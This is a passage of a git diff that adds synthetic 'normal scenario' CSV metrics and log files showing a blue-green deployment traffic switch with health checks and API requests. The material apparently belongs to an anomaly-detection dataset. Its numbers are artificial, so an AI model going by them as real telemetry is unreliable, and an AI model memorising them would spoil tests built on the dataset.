10:03:45+00:00,53.70711411191169,80.72035679322597,37.36191625827604,1.8769405815558113,1.279600829097176 +2025-08-22 10:03:50+00:00,60.103025922259945,69.77124442646999,31.451974221530744,1.2346580686894661,1.0866682738411382 +2025-08-22 10:03:55+00:00,64.12527415716147,71.30319112853824,25.27764830788169,1.4039122450016568,1.2290570304109687 +2025-08-22 10:04:00+00:00,54.629015551517405,76.30893572964521,32.280927155602356,1.6540619279744164,1.1571589874469406 +2025-08-22 10:04:05+00:00,59.90340562171323,70.88906416890941,34.62504228574751,1.730671670875773,1.2897416490479454 +2025-08-22 10:04:10+00:00,55.98448497456601,69.5727694474594,34.665196848017466,1.3843476047300214,0.8450738294998797 +2025-08-22 10:04:15+00:00,62.5785289706293,68.89007077346639,29.1432301394848,1.0414878788563233,1.2212346356670087 +2025-08-22 10:04:20+00:00,55.306509548820806,65.9302490304965,33.89232411962285,1.7191094195208334,1.4764786705385267 +2025-08-22 10:04:25+00:00,50.57928635484625,67.95775259595734,29.2668277069469,1.4516487261143303,1.127992178040481 +2025-08-22 10:04:30+00:00,54.95903426508471,79.41059254900603,41.509523351558165,1.5418280415865038,1.5693005888298701 +2025-08-22 10:04:35+00:00,52.363010146485664,70.9411842231992,30.637673232340386,1.1483922549265,1.3665042229313644 +2025-08-22 10:04:40+00:00,47.55539902372551,73.03336287773566,29.537016333572566,1.3299359880434116,1.0745164957942785 +2025-08-22 10:04:45+00:00,51.642661278361956,72.90186739410372,26.75731305359491,1.8200168432203785,1.206885373857329 +2025-08-22 10:04:50+00:00,55.64262401117093,60.121897896368196,30.67574745485763,1.5630622389473614,1.31835079046175 +2025-08-22 10:04:55+00:00,55.59758798084763,70.20924179720284,36.91747265565613,1.7500881512156143,1.3270426581434225 +2025-08-22 10:05:00+00:00,57.78429450743171,63.7423153155156,33.42743312464131,1.2619346800492666,1.1075826131594624 +2025-08-22 10:05:05+00:00,52.94251729762838,64.05078333201439,27.83049989864101,1.5896888093045347,1.3860161853835757 +2025-08-22 10:05:10+00:00,43.43941534721369,68.57861871775057,37.64741339945148,1.6925479759204989,1.081223073645574 +2025-08-22 10:05:15+00:00,43.57675608093378,67.40381876438168,38.238077798508385,1.5927095088284868,1.2633052626094363 +2025-08-22 10:05:20+00:00,55.78843263350277,77.34884944358119,25.29781842920747,1.945257251446152,1.217781177422165 +2025-08-22 10:05:25+00:00,55.54086654817294,76.24819617000092,25.042443083348015,1.5576146493824874,0.8855965811369826 +2025-08-22 10:05:30+00:00,53.75782378459761,61.24902094074357,21.430386842982877,1.6003290481214423,1.1925307664616387 +2025-08-22 10:05:35+00:00,47.227448327538646,58.65026151095301,31.54462139554067,1.6668980447188468,1.2803085682828554 +2025-08-22 10:05:40+00:00,55.19013435353984,68.39418823573152,36.167973573712906,1.3596883738304681,1.7461929015495783 +2025-08-22 10:05:45+00:00,52.59993501529227,55.368948417190204,25.763157502239597,1.30185657187383,0.9142720821533077 +2025-08-22 10:05:50+00:00,36.81698112865584,63.046840863744386,29.964502041804476,1.4381150115313124,1.3157417934539557 +2025-08-22 10:05:55+00:00,54.906565522783595,74.5334430362348,32.18666427487726,1.4056683455262893,1.3701333446824062 +2025-08-22 10:06:00+00:00,48.077590534456625,64.36437027611683,26.781984807248048,1.5223443858589876,1.190851543065601 +2025-08-22 10:06:05+00:00,49.81001831686117,71.81045856229137,38.516433638161246,1.1951557871947833,0.7242971821342514 +2025-08-22 10:06:10+00:00,44.412795742998775,65.89220979059417,35.989144421196514,1.3924626655255568,0.9916866085840812 +2025-08-22 10:06:15+00:00,46.54175563548882,64.5766084666747,34.69586240851149,1.6930391206039126,1.1202177064354548 +2025-08-22 10:06:20+00:00,52.607176901215,61.03124809496284,35.2107161452511,1.4755437362229005,1.3288913495507748 +2025-08-22 10:06:25+00:00,51.46706168260977,63.25071842049965,25.849341454673485,1.501523036316406,0.8360215742721842 +2025-08-22 10:06:30+00:00,49.25921371568389,59.10051370683633,28.927081492182726,1.8882373663738687,1.1937135813325175 +2025-08-22 10:06:35+00:00,50.770285287647695,63.10552361423023,27.898553439089504,1.2691445443457845,1.3303724319233254 +2025-08-22 10:06:40+00:00,49.61150532714265,70.98599354563945,31.675743685428433,1.5365990382302324,0.8478613030951587 +2025-08-22 10:06:45+00:00,50.28531325312222,77.87914901486505,34.01656441407217,1.7521707565533697,1.4504349151777471 +2025-08-22 10:06:50+00:00,61.99646967565309,63.0088237040672,33.27999085551322,1.5823824592661169,1.0226653600031952 +2025-08-22 10:06:55+00:00,46.46260013288628,68.05558211131853,32.81245190909786,1.1518588025006156,1.2090370792813911 +2025-08-22 10:07:00+00:00,44.60000527371868,59.95346755484852,28.596148375969513,1.396382318313041,0.9999275686382664 +2025-08-22 10:07:05+00:00,44.341202080217045,74.23017376134702,27.97867338276139,1.6746962102477945,1.2971874088194915 +2025-08-22 10:07:10+00:00,52.71669275905506,63.49105434806989,23.26001037702934,1.462409369968038,1.2957060525695512 +2025-08-22 10:07:15+00:00,46.852614505217375,64.21657790529825,32.79572360028228,1.4035554150614846,1.24905519713531 +2025-08-22 10:07:20+00:00,46.585719688843064,72.22502971532386,24.847546843431026,1.7357700231167996,1.104807679331043 +2025-08-22 10:07:25+00:00,47.29269102939274,67.09828509822442,37.867830385880616,1.5396222387746805,1.1292861341685656 diff --git a/norm_dataset/scenario_6/norm_6_13.log b/norm_dataset/scenario_6/norm_6_13.log new file mode 100644 index 0000000000000000000000000000000000000000..8df9ec906d4c68f5f42075a5bd5fced6e96666b0 --- /dev/null +++ b/norm_dataset/scenario_6/norm_6_13.log @@ -0,0 +1,110 @@ +Aug 22 10:00:00 green-app[5678]: INFO Health check OK +Aug 22 10:00:00 kubelet[2345]: INFO Liveness probe succeeded for pod green-deployment-pod +Aug 22 10:00:20 green-app[5678]: INFO Health check OK +Aug 22 10:00:30 kubelet[2345]: INFO Liveness probe succeeded for pod green-deployment-pod +Aug 22 10:00:40 green-app[5678]: INFO Health check OK +Aug 22 10:01:00 green-app[5678]: INFO Health check OK +Aug 22 10:01:00 kubelet[2345]: INFO Liveness probe succeeded for pod green-deployment-pod +Aug 22 10:01:20 green-app[5678]: INFO Health check OK +Aug 22 10:01:30 kubelet[2345]: INFO Liveness probe succeeded for pod green-deployment-pod +Aug 22 10:01:40 green-app[5678]: INFO Health check OK +Aug 22 10:02:00 green-app[5678]: INFO Health check OK +Aug 22 10:02:00 kubelet[2345]: INFO Liveness probe succeeded for pod green-deployment-pod +Aug 22 10:02:20 green-app[5678]: INFO Health check OK +Aug 22 10:02:30 kubelet[2345]: INFO Liveness probe succeeded for pod green-deployment-pod +Aug 22 10:02:40 green-app[5678]: INFO Health check OK +Aug 22 10:03:00 green-app[5678]: INFO Health check OK +Aug 22 10:03:00 kubelet[2345]: INFO Liveness probe succeeded for pod green-deployment-pod +Aug 22 10:03:20 green-app[5678]: INFO Health check OK +Aug 22 10:03:30 kubelet[2345]: INFO Liveness probe succeeded for pod green-deployment-pod +Aug 22 10:03:40 green-app[5678]: INFO Health check OK +Aug 22 10:03:45 jenkins[1234]: INFO Starting traffic switch for deployment #123... +Aug 22 10:03:45 haproxy[8888]: INFO: Routing 100% of traffic from 'backend-blue' to 'backend-green' +Aug 22 10:03:45 jenkins[1234]: INFO: Production traffic switch for deployment #123 successful. +Aug 22 10:03:48 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:03:51 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:03:54 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:03:57 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:04:00 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:04:00 kubelet[2345]: INFO Liveness probe succeeded for pod green-deployment-pod +Aug 22 10:04:03 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:04:06 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:04:09 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:04:12 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:04:15 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:04:15 kubelet[2345]: INFO Liveness probe succeeded for pod green-deployment-pod +Aug 22 10:04:18 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:04:21 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:04:24 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:04:27 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:04:30 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:04:30 kubelet[2345]: INFO Liveness probe succeeded for pod green-deployment-pod +Aug 22 10:04:33 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:04:36 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:04:39 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:04:42 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:04:45 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:04:45 kubelet[2345]: INFO Liveness probe succeeded for pod green-deployment-pod +Aug 22 10:04:48 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:04:51 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:04:54 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:04:57 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:05:00 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:05:00 kubelet[2345]: INFO Liveness probe succeeded for pod green-deployment-pod +Aug 22 10:05:03 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:05:06 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:05:09 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:05:12 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:05:15 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:05:15 kubelet[2345]: INFO Liveness probe succeeded for pod green-deployment-pod +Aug 22 10:05:18 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:05:21 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:05:24 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:05:27 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:05:30 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:05:30 kubelet[2345]: INFO Liveness probe succeeded for pod green-deployment-pod +Aug 22 10:05:33 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:05:36 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:05:39 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:05:42 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:05:45 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:05:45 kubelet[2345]: INFO Liveness probe succeeded for pod green-deployment-pod +Aug 22 10:05:48 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:05:51 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:05:54 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:05:57 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:06:00 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:06:00 kubelet[2345]: INFO Liveness probe succeeded for pod green-deployment-pod +Aug 22 10:06:03 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:06:06 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:06:09 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:06:12 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:06:15 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:06:15 kubelet[2345]: INFO Liveness probe succeeded for pod green-deployment-pod +Aug 22 10:06:18 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:06:21 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:06:24 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:06:27 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:06:30 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:06:30 kubelet[2345]: INFO Liveness probe succeeded for pod green-deployment-pod +Aug 22 10:06:33 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:06:36 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:06:39 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:06:42 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:06:45 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:06:45 kubelet[2345]: INFO Liveness probe succeeded for pod green-deployment-pod +Aug 22 10:06:48 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:06:51 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:06:54 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:06:57 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:07:00 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:07:00 kubelet[2345]: INFO Liveness probe succeeded for pod green-deployment-pod +Aug 22 10:07:03 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:07:06 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:07:09 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:07:12 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:07:15 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:07:15 kubelet[2345]: INFO Liveness probe succeeded for pod green-deployment-pod +Aug 22 10:07:18 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:07:21 green-app[5678]: GET /api/v1/data status=200 OK +Aug 22 10:07:24 green-app[5678]: GET /api/v1/data status=200 OK diff --git a/norm_dataset/scenario_6/norm_6_14.csv b/norm_dataset/scenario_6/norm_6_14.csv new file mode 100644 index 0000000000000000000000000000000000000000..b9ea802e3c396c1693fe5a53e48f45a5d8dbf0e5 --- /dev/null +++ b/norm_dataset/scenario_6/norm_6_14.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T10:00:00Z,4.73,5.45,0.49,0.04,0.07 +2025-08-22T10:00:05Z,1.1,7.74,0.51,0.01,0.05 +2025-08-22T10:00:10Z,3.29,9.92,0.36,0.02,0.06 +2025-08-22T10:00:15Z,2.65,6.3,1.32,0.02,0.03 +2025-08-22T10:00:20Z,4.34,7.2,0.31,0.06,0.06 +2025-08-22T10:00:25Z,4.74,7.18,0.92,0.1,0.06 +2025-08-22T10:00:30Z,4.14,7.41,0.52,0.06,0.04 +2025-08-22T10:00:35Z,1.09,7.88,1.14,0.04,0.02 +2025-08-22T10:00:40Z,3.73,9.65,1.25,0.01,0.1 +2025-08-22T10:00:45Z,1.83,7.13,1.23,0.08,0.06 +2025-08-22T10:00:50Z,1.76,7.54,0.3,0.07,0.01 +2025-08-22T10:00:55Z,1.52,9.16,1.09,0.06,0.04 +2025-08-22T10:01:00Z,2.06,7.19,1.13,0.09,0.04 +2025-08-22T10:01:05Z,1.34,5.24,1.43,0.02,0.04 +2025-08-22T10:01:10Z,2.01,9.5,0.1,0.03,0.04 +2025-08-22T10:01:15Z,1.6,9.73,0.78,0.03,0.04 +2025-08-22T10:01:20Z,1.24,7.4,0.31,0.05,0.02 +2025-08-22T10:01:25Z,1.81,5.33,0.9,0.06,0.03 +2025-08-22T10:01:30Z,4.22,6.05,0.62,0.04,0.03 +2025-08-22T10:01:35Z,1.91,6.7,1.14,0.05,0.02 +2025-08-22T10:01:40Z,1.1,8.95,0.52,0.09,0.02 +2025-08-22T10:01:45Z,3.27,6.05,1.31,0.02,0.02 +2025-08-22T10:01:50Z,1.05,8.81,1.43,0.08,0.04 +2025-08-22T10:01:55Z,2.35,5.61,0.71,0.05,0.08 +2025-08-22T10:02:00Z,1.23,5.96,1.01,0.03,0.07 +2025-08-22T10:02:05Z,2.77,6.36,0.26,0.09,0.04 +2025-08-22T10:02:10Z,3.57,5.23,0.39,0.01,0.04 +2025-08-22T10:02:15Z,2.49,5.37,0.51,0.08,0.02 +2025-08-22T10:02:20Z,4.85,6.3,0.92,0.01,0.03 +2025-08-22T10:02:25Z,1.36,9.3,1.07,0.07,0.02 +2025-08-22T10:02:30Z,1.66,8.6,0.37,0.09,0.07 +2025-08-22T10:02:35Z,4.67,5.95,0.78,0.04,0.03 +2025-08-22T10:02:40Z,3.62,9.37,1.12,0.1,0.07 +2025-08-22T10:02:45Z,4.64,8.91,0.62,0.04,0.06 +2025-08-22T10:02:50Z,2.78,8.64,1.08,0.03,0.07 +2025-08-22T10:02:55Z,3.24,5.43,0.49,0.08,0.06 +2025-08-22T10:03:00Z,2.43,7.97,0.63,0.06,0.07 +2025-08-22T10:03:05Z,2.7,5.53,0.66,0.04,0.09 +2025-08-22T10:03:10Z,4.57,8.53,0.17,0.03,0.06 +2025-08-22T10:03:15Z,2.87,9.18,1.45,0.09,0.06 +2025-08-22T10:03:20Z,4.75,9.1,1.13,0.03,0.03 +2025-08-22T10:03:25Z,4.86,8.1,0.4,0.03,0.1 +2025-08-22T10:03:30Z,1.48,5.56,1.28,0.02,0.03 +2025-08-22T10:03:35Z,3.59,8.38,0.6,0.06,0.1 +2025-08-22T10:03:40Z,4.45,6.09,0.99,0.03,0.04 +2025-08-22T10:03:45Z,56.9,64.8,46.77,0.98,1.0 +2025-08-22T10:03:50Z,50.29,70.41,25.38,1.05,0.73 +2025-08-22T10:03:55Z,78.66,72.52,28.66,0.95,1.14 +2025-08-22T10:04:00Z,72.91,74.46,41.87,0.91,0.97 +2025-08-22T10:04:05Z,74.26,79.35,36.23,0.85,1.19 +2025-08-22T10:04:10Z,56.29,65.14,37.77,1.05,1.15 +2025-08-22T10:04:15Z,58.18,66.71,20.5,1.15,0.75 +2025-08-22T10:04:20Z,54.23,77.81,29.58,1.1,0.96 +2025-08-22T10:04:25Z,73.41,69.44,46.81,1.46,1.26 +2025-08-22T10:04:30Z,66.1,76.55,20.8,1.26,0.95 +2025-08-22T10:04:35Z,65.87,71.95,40.37,1.3,1.01 +2025-08-22T10:04:40Z,70.56,74.78,37.8,1.28,0.97 +2025-08-22T10:04:45Z,83.4,78.29,29.71,1.18,1.27 +2025-08-22T10:04:50Z,62.26,66.2,48.21,1.45,1.13 +2025-08-22T10:04:55Z,55.48,67.54,27.42,1.1,1.18 +2025-08-22T10:05:00Z,52.39,73.91,25.16,1.23,0.89 +2025-08-22T10:05:05Z,77.86,76.69,33.91,1.39,0.84 +2025-08-22T10:05:10Z,71.93,73.23,33.87,1.17,0.83 +2025-08-22T10:05:15Z,78.1,62.35,46.5,0.98,0.96 +2025-08-22T10:05:20Z,84.33,79.79,38.68,0.97,1.07 +2025-08-22T10:05:25Z,83.3,67.83,46.24,0.84,0.94 +2025-08-22T10:05:30Z,74.01,73.21,21.16,1.42,1.03 +2025-08-22T10:05:35Z,52.68,77.11,43.36,0.98,0.73 +2025-08-22T10:05:40Z,55.45,72.37,27.37,1.4,0.71 +2025-08-22T10:05:45Z,78.0,79.66,31.99,1.28,0.87 +2025-08-22T10:05:50Z,74.15,70.97,28.46,1.23,1.16 +2025-08-22T10:05:55Z,83.66,62.17,44.8,1.0,1.27 +2025-08-22T10:06:00Z,66.13,61.41,24.65,0.98,1.24 +2025-08-22T10:06:05Z,50.52,79.08,29.35,1.04,1.06 +2025-08-22T10:06:10Z,77.26,68.89,26.19,1.29,1.01 +2025-08-22T10:06:15Z,76.03,65.34,31.23,1.42,0.73 +2025-08-22T10:06:20Z,63.47,79.7,21.32,1.45,0.85 +2025-08-22T10:06:25Z,80.82,64.17,32.31,0.82,0.94 +2025-08-22T10:06:30Z,79.65,73.97,22.65,1.49,0.75 +2025-08-22T10:06:35Z,57.6,71.31,44.65,1.14,1.11 +2025-08-22T10:06:40Z,56.67,64.45,28.87,1.43,1.07 +2025-08-22T10:06:45Z,73.16,80.0,35.45,0.93,1.29 +2025-08-22T10:06:50Z,63.51,69.9,44.99,0.86,0.75 +2025-08-22T10:06:55Z,59.52,63.99,23.27,1.35,1.21 +2025-08-22T10:07:00Z,62.9,60.88,30.97,0.92,1.15 +2025-08-22T10:07:05Z,59.42,72.09,46.59,1.25,1.0 +2025-08-22T10:07:10Z,73.87,69.81,28.03,0.87,0.71 +2025-08-22T10:07:15Z,84.31,69.38,23.13,1.07,0.99 +2025-08-22T10:07:20Z,74.57,75.36,22.32,0.94,1.04 +2025-08-22T10:07:25Z,66.4,79.1,39.61,1.21,0.87 diff --git a/norm_dataset/scenario_6/norm_6_14.log b/norm_dataset/scenario_6/norm_6_14.log new file mode 100644 index 0000000000000000000000000000000000000000..5ca8b3074fe84eb7d1493aa9c57bc6b4cdc5e159 --- /dev/null +++ b/norm_dataset/scenario_6/norm_6_14.log @@ -0,0 +1,26 @@ +Aug 22 10:00:00 kubelet[2350]: INFO Liveness probe succeeded for pod backend-green-pod-xyz +Aug 22 10:00:25 kubelet[2350]: INFO Liveness probe succeeded for pod backend-green-pod-xyz +Aug 22 10:00:50 kubelet[2350]: INFO Liveness probe succeeded for pod backend-green-pod-xyz +Aug 22 10:01:15 kubelet[2350]: INFO Liveness probe succeeded for pod backend-green-pod-xyz +Aug 22 10:01:40 kubelet[2350]: INFO Liveness probe succeeded for pod backend-green-pod-xyz +Aug 22 10:02:05 kubelet[2350]: INFO Liveness probe succeeded for pod backend-green-pod-xyz +Aug 22 10:02:30 kubelet[2350]: INFO Liveness probe succeeded for pod backend-green-pod-xyz +Aug 22 10:02:55 kubelet[2350]: INFO Liveness probe succeeded for pod backend-green-pod-xyz +Aug 22 10:03:20 kubelet[2350]: INFO Liveness probe succeeded for pod backend-green-pod-xyz +Aug 22 10:03:45 jenkins[8888]: INFO: Production traffic switch for deployment #123 successful. +Aug 22 10:03:45 haproxy[1567]: INFO: Routing 100% of traffic from 'backend-blue' to 'backend-green'. +Aug 22 10:03:55 backend-green-app[4321]: GET /api/v1/user/10 status=200 OK +Aug 22 10:04:10 backend-green-app[4321]: GET /api/v1/user/25 status=200 OK +Aug 22 10:04:25 backend-green-app[4321]: GET /api/v1/user/19 status=200 OK +Aug 22 10:04:40 backend-green-app[4321]: GET /api/v1/user/37 status=200 OK +Aug 22 10:04:55 backend-green-app[4321]: GET /api/v1/user/30 status=200 OK +Aug 22 10:05:10 backend-green-app[4321]: GET /api/v1/user/25 status=200 OK +Aug 22 10:05:25 backend-green-app[4321]: GET /api/v1/user/47 status=200 OK +Aug 22 10:05:40 backend-green-app[4321]: GET /api/v1/user/38 status=200 OK +Aug 22 10:05:55 backend-green-app[4321]: GET /api/v1/user/11 status=200 OK +Aug 22 10:06:10 backend-green-app[4321]: GET /api/v1/user/13 status=200 OK +Aug 22 10:06:25 backend-green-app[4321]: GET /api/v1/user/39 status=200 OK +Aug 22 10:06:40 backend-green-app[4321]: GET /api/v1/user/44 status=200 OK +Aug 22 10:06:55 backend-green-app[4321]: GET /api/v1/user/26 status=200 OK +Aug 22 10:07:10 backend-green-app[4321]: GET /api/v1/user/36 status=200 OK +Aug 22 10:07:25 backend-green-app[4321]: GET /api/v1/user/16 status=200 OK diff --git a/norm_dataset/scenario_6/norm_6_15.csv b/norm_dataset/scenario_6/norm_6_15.csv new file mode 100644 index 0000000000000000000000000000000000000000..067c3cb450c049582784336a895ee0002b1ac3e0 --- /dev/null +++ b/norm_dataset/scenario_6/norm_6_15.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T10:00:00Z,2.68,5.69,0.17,0.03,0.02 +2025-08-22T10:00:05Z,1.27,8.0,0.21,0.01,0.02 +2025-08-22T10:00:10Z,1.59,8.57,0.16,0.02,0.05 +2025-08-22T10:00:15Z,1.97,9.48,0.4,0.03,0.05 +2025-08-22T10:00:20Z,2.04,8.12,0.19,0.02,0.04 +2025-08-22T10:00:25Z,3.05,9.97,0.47,0.01,0.02 +2025-08-22T10:00:30Z,3.41,8.44,0.17,0.03,0.04 +2025-08-22T10:00:35Z,2.58,5.41,0.37,0.04,0.01 +2025-08-22T10:00:40Z,3.17,9.81,0.39,0.01,0.02 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+2025-08-22T10:04:15Z,71.91,64.17,29.06,1.44,1.27 +2025-08-22T10:04:20Z,70.7,74.75,25.6,0.99,0.96 +2025-08-22T10:04:25Z,68.98,69.62,26.1,1.29,1.26 +2025-08-22T10:04:30Z,74.35,64.02,24.06,0.93,1.04 +2025-08-22T10:04:35Z,79.77,72.91,35.58,1.03,1.01 +2025-08-22T10:04:40Z,64.61,64.23,33.24,1.02,0.84 +2025-08-22T10:04:45Z,77.52,71.81,27.57,0.97,0.89 +2025-08-22T10:04:50Z,63.74,61.42,27.19,1.13,0.95 +2025-08-22T10:04:55Z,82.27,70.8,20.47,1.17,0.84 +2025-08-22T10:05:00Z,68.14,68.43,46.39,1.45,1.2 +2025-08-22T10:05:05Z,83.17,69.06,39.52,1.09,1.29 +2025-08-22T10:05:10Z,66.54,64.87,32.57,1.49,0.99 +2025-08-22T10:05:15Z,79.13,65.48,31.18,1.25,1.06 +2025-08-22T10:05:20Z,64.24,71.29,29.11,1.14,1.11 +2025-08-22T10:05:25Z,66.31,60.77,30.53,1.21,1.27 +2025-08-22T10:05:30Z,72.15,63.54,44.06,0.92,1.17 +2025-08-22T10:05:35Z,70.09,57.72,27.45,1.33,0.85 +2025-08-22T10:05:40Z,63.02,62.66,36.01,1.19,1.27 +2025-08-22T10:05:45Z,71.38,61.15,33.08,1.17,1.09 +2025-08-22T10:05:50Z,75.35,72.6,24.87,1.47,1.07 +2025-08-22T10:05:55Z,63.1,74.72,31.85,1.48,1.14 +2025-08-22T10:06:00Z,79.57,64.52,40.61,1.42,1.0 +2025-08-22T10:06:05Z,67.6,77.02,28.71,1.39,0.99 +2025-08-22T10:06:10Z,80.12,64.43,41.09,1.18,0.83 +2025-08-22T10:06:15Z,69.75,71.1,44.97,1.53,0.97 +2025-08-22T10:06:20Z,79.84,73.44,44.11,1.15,0.91 +2025-08-22T10:06:25Z,69.96,67.05,42.14,1.56,1.21 +2025-08-22T10:06:30Z,78.45,62.43,25.31,1.48,0.84 +2025-08-22T10:06:35Z,70.46,65.71,25.05,1.49,0.92 +2025-08-22T10:06:40Z,71.42,65.92,32.6,1.3,0.82 +2025-08-22T10:06:45Z,66.7,69.38,27.17,1.03,0.8 +2025-08-22T10:06:50Z,78.14,67.93,40.1,1.43,0.92 +2025-08-22T10:06:55Z,68.84,59.3,28.81,1.57,0.94 +2025-08-22T10:07:00Z,79.55,67.02,41.23,1.31,1.3 +2025-08-22T10:07:05Z,79.27,68.55,31.86,1.22,1.25 +2025-08-22T10:07:10Z,71.6,70.67,34.31,1.03,1.27 +2025-08-22T10:07:15Z,75.94,63.47,35.38,0.92,1.2 +2025-08-22T10:07:20Z,78.96,60.95,38.71,1.29,1.01 +2025-08-22T10:07:25Z,71.25,66.06,28.99,1.29,1.08 diff --git a/norm_dataset/scenario_6/norm_6_15.log b/norm_dataset/scenario_6/norm_6_15.log new file mode 100644 index 0000000000000000000000000000000000000000..cb17b390899f88030d656ae43e4fa180e3bb174a --- /dev/null +++ b/norm_dataset/scenario_6/norm_6_15.log @@ -0,0 +1,27 @@ +Aug 22 10:00:00 green-app[5678]: INFO Health check passed. +Aug 22 10:00:00 kubelet[2345]: INFO Liveness probe succeeded for pod green-app-pod +Aug 22 10:00:50 green-app[5678]: INFO Health check passed. +Aug 22 10:01:15 kubelet[2345]: INFO Liveness probe succeeded for pod green-app-pod +Aug 22 10:01:40 green-app[5678]: INFO Health check passed. +Aug 22 10:02:30 green-app[5678]: INFO Health check passed. +Aug 22 10:02:30 kubelet[2345]: INFO Liveness probe succeeded for pod green-app-pod +Aug 22 10:03:20 green-app[5678]: INFO Health check passed. +Aug 22 10:03:43 jenkins[123]: INFO Starting traffic switch for deployment #123. +Aug 22 10:03:45 haproxy[456]: INFO: Routing 100% of traffic from 'backend-blue' to 'backend-green'. +Aug 22 10:03:48 jenkins[123]: INFO: Production traffic switch for deployment #123 successful. +Aug 22 10:04:00 green-app[5678]: GET /api/v1/user/57 status=200 OK +Aug 22 10:04:15 green-app[5678]: GET /api/v1/user/52 status=200 OK +Aug 22 10:04:30 green-app[5678]: GET /api/v1/user/70 status=200 OK +Aug 22 10:04:45 green-app[5678]: GET /api/v1/user/80 status=200 OK +Aug 22 10:05:00 green-app[5678]: GET /api/v1/user/46 status=200 OK +Aug 22 10:05:00 kubelet[2345]: INFO Liveness probe succeeded for pod green-app-pod +Aug 22 10:05:15 green-app[5678]: GET /api/v1/user/80 status=200 OK +Aug 22 10:05:30 green-app[5678]: GET /api/v1/user/17 status=200 OK +Aug 22 10:05:45 green-app[5678]: GET /api/v1/user/26 status=200 OK +Aug 22 10:06:00 green-app[5678]: GET /api/v1/user/85 status=200 OK +Aug 22 10:06:15 green-app[5678]: GET /api/v1/user/53 status=200 OK +Aug 22 10:06:30 green-app[5678]: GET /api/v1/user/84 status=200 OK +Aug 22 10:06:40 kubelet[2345]: INFO Liveness probe succeeded for pod green-app-pod +Aug 22 10:06:45 green-app[5678]: GET /api/v1/user/35 status=201 Created +Aug 22 10:07:00 green-app[5678]: GET /api/v1/user/66 status=200 OK +Aug 22 10:07:15 green-app[5678]: GET /api/v1/user/55 status=200 OK diff --git a/norm_dataset/scenario_6/norm_6_16.csv b/norm_dataset/scenario_6/norm_6_16.csv new file mode 100644 index 0000000000000000000000000000000000000000..2944cdda979fbb7439ae0a27d71486bc51fa176f --- /dev/null +++ b/norm_dataset/scenario_6/norm_6_16.csv @@ -0,0 +1,91 @@ 